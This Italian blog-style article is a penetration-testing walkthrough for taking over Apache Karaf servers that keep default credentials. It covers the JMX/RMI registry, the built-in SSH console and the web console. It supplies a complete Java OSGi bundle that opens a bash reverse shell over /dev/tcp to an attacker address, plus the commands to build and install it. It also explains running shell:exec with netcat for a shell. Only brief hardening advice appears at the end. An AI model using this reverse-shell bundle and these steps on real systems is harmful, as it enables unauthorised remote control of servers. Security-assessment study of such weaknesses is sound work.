Apache Karaf è un contenitore di applicazioni, può essere utilizzato come contenitore autonomo, supportando una vasta gamma di applicazioni e tecnologie. Supporta anche il concetto “run anywhere” (su qualsiasi macchina con Java, cloud, immagini docker, …) utilizzando la modalità embedded. Karaf viene principalmente utilizzato per microservizi, integrazione di sistemi, grandi dati ed è alimentato da OSGi.
Molte volte, durante un assessment infrastrutturale, mi è capitato di incontrarlo, e nel 90% dei casi viene implementato in maniera insicura, lasciando la possibilità ad un attaccante di compromettere completamente il sistema. In questo articolo andremo a visionare i modi principali per riuscire a violare il servizio
NB: partiamo dall’assunzione che l’incauto amministratore del servizio abbia lasciato abilitate le credenziali di default, che sono
Cionondimeno, i seguenti procedimenti possono applicarsi anche in caso che l’attaccante conosca, per un qualunque motivo, una qualunque altra coppia di credenziali valide.
Quando viene avviato, di default Karaf attiva tre servizi diversi:
Nella scansione effettuata possiamo vedere come i tre servizi indicati precedentemente sono aperti. Vediamoli uno ad uno.
Andando ad indagare la porta con nmap (comando: nmap -p1099 -sTV –script vuln,discovery IP) possiamo vedere come viene stampato il registro JMX. Karaf lo utilizza principalmente per effettuare monitoraggio della macchina virtuale e del sistema, ma un attaccante potrebbe sfruttarlo in maniera _completamente _diversa.
Per poterci connettere è necessario usare Jconsole ed inserire il seguente puntamento:
service:jmx:rmi://192.168.1.99:37175/jndi/rmi://192.168.1.99:1099/karaf-root
Dove la prima porta fa riferimento a JMX, mentre la seconda ad RMI.
Una volta connessi avremo davanti a noi moltissime informazioni sensibili, come la versione di OpenJDK, la versione del sistema operativo, e altre informazioni contenute nel tab MBeans.
Per ottenere una shell remota, dobbiamo andare a crearne una in Java. Per velocizzare il tutto ho deciso di seguire questa guida che si traduce (dopo aver installato mvn), nell’eseguire il comando
mvn archetype:generate -DarchetypeGroupId=org.apache.karaf.archetypes -DarchetypeArtifactId=karaf-bundle-archetype -DarchetypeVersion=2.2.11 -DgroupId=it.html.tutorial
-DartifactId=karaf-helloworld -Dversion=1.0 -Dpackage=it.html.tutorial.karaf.helloworld
Una volta eseguito troveremo all’interno della cartella appena creata il nostro file Java contenente un classico HelloWorld.java. Visto che noi vogliamo creare una reverse shell, vado a sostituire il contenuto con questo codice
<code>import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.lang.*;
public class Activator implements BundleActivator {
@Override
public void start(BundleContext bundleContext) throws Exception {
System.out.println("STARTING");
ProcessBuilder pb = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.99/8686;cat <&5 | while read line; do $line 2>&5 >&5; done");
Process proc = pb.start();
}
@Override
public void stop(BundleContext bundleContext) throws Exception {
System.out.println("STOPPING");
}
}</code>
E poi lo compiliamo con
mvn clean install
NB: durante la compilazione ho avuto due problemi:
sudo update-alternatives --config java)
Ora che abbiamo il file jar, ci basterà caricarlo all’interno del bundle in Jconsole (Nel path org.apache.karaf -> bundle -> root -> Operations -> install). Per copiarlo dal mio host al target ho avviato un server con python sulla porta 9090
Cliccando su Install il file andrà ad installarsi all’interno dei bundles di Karaf
Per avviarlo, ci basterà:
Ed ecco che abbiamo ottenuto una shell in pochissimi passi.
Come anticipavo prima, sulla porta 8101 è presente un server SSH gentilmente fornitoci da karaf che viene abilitato di default con le stesse credenziali di default
Per eseguire comandi basterà digitare
shell:exec CMD
e verranno eseguiti.
Per creare una reverse shell basterà quindi eseguirla direttamente da li, con netcat o il metodo che preferite
Karaf sulla porta 8181 ha un’interfaccia web come Tomcat dalla quale possiamo effettuare lo stesso procedimento di prima, solo che in maniera molto più comoda.
Inseriamo le credenziali e andiamo al path /system/console/bundles (altrimenti il server da errore 403). Da qui, con lo stesso file creato precedentemente, andiamo ad installare un nuovo pacchetto tramite l’interfaccia
Avviamo netcat e startiamo il nuovo jar appena caricato
Il problema di Karaf (come tanti altri software simili) è che se non vengono cambiate le impostazioni di default, esse attivano una serie di servizi dei quali lo sviluppatore/sistemista non è a conoscenza e permettono ad utenti esterni di sfruttarli a fini malevoli; vanno assolutamente disattivati se non utilizzati.
Nel remoto caso in cui servano, è sufficiente cambiare la password di default in modo da non permettere ad utenti non autorizzati di entrare nel sistema.
Di seguito alcuni articoli che mi hanno aiutato a studiare l’argomento: